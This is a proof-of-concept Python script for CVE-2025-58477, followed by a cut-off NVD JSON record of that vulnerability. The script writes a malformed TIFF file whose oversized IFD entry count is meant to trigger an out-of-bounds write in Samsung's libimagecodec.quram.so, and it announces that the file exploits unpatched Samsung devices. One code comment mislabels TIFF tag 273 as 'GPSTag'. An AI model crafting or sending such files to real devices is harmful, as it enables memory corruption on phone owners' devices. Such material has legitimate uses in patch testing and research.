CVE-2025-58477

# CVE-2025-58477 PoC - Malformed TIFF IFD Tag # This PoC generates a TIFF file with a malformed IFD tag to trigger OOB write import struct import os def create_poc_tiff(): """ Create a malformed TIFF file to trigger CVE-2025-58477 Out-of-bounds write in parsing IFD tag in libimagecodec.quram.so """ # TIFF Header # Byte order: Little Endian # Magic number: 0x002A (42) # IFD offset: 8 (first IFD right after header) tiff_header = struct.pack('<2sHI', b'II', 42, 8) # IFD entry count (2 entries) ifd_count = struct.pack('<H', 2) # IFD Entry 1: ImageWidth - Tag 256 # Type: LONG (4), Count: 1, Value: 100 # This entry is valid entry1_tag = struct.pack('<H', 256) # ImageWidth entry1_type = struct.pack('<H', 4) # LONG entry1_count = struct.pack('<I', 1) # Count entry1_value = struct.pack('<I', 100) # Value entry1 = entry1_tag + entry1_type + entry1_count + entry1_value # IFD Entry 2: Malformed entry with oversized count # This triggers OOB write in libimagecodec.quram.so entry2_tag = struct.pack('<H', 273) # GPSTag entry2_type = struct.pack('<H', 4) # LONG entry2_count = struct.pack('<I', 0xFFFFFFF) # Malformed - huge count entry2_value = struct.pack('<I', 0x1000) # Invalid offset entry2 = entry2_tag + entry2_type + entry2_count + entry2_value # Next IFD offset (0 = no next IFD) next_ifd = struct.pack('<I', 0) # Assemble TIFF file poc_tiff = tiff_header + ifd_count + entry1 + entry2 + next_ifd return poc_tiff def main(): output_file = "CVE-2025-58477_poc.tiff" poc_data = create_poc_tiff() with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC TIFF file created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("[+] This file exploits CVE-2025-58477: OOB write in libimagecodec.quram.so") print("[+] Target: Samsung devices with libimagecodec.quram.so < SMR Dec-2025 Release 1") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-58477", "sourceIdentifier": "[email protected]", "published": "2025-12-02T02:15:47.390", "lastModified": "2025-12-05T19:12:50.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds write in parsing IFD tag in libimagecodec.quram.so prior to SMR Dec-2025 Release 1 allows remote attackers to access out-of-bounds memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:*", "matchCriteriaId": "A123EDB1-3048-44B0-8D4D-39A2B24B5F6B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "61D507C0-086B-4139-A560-126964DFA579"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "D98F307E-3B01-4C17-86E5-1C6299919417"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "952CA843-7CF0-4424-BDA4-3F2A93E077B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "39F64BAA-2E49-4919-A940-219391383D5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "57B125ED-D939-4CBC-9E96-BBCF02402A69"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "7D7DA96D-9C25-4DDA-A6BF-D998AC346B89"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "07AC19C6-D245-4C3A-90CC-A931A901EA0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "FDA1685E-D101-46F6-8857-7F0894E07748"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jul-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "DF85AA7B-E1C7-4946-92B4-E4D545CAACDF"}, {"vulnerable": true, "criteria ... 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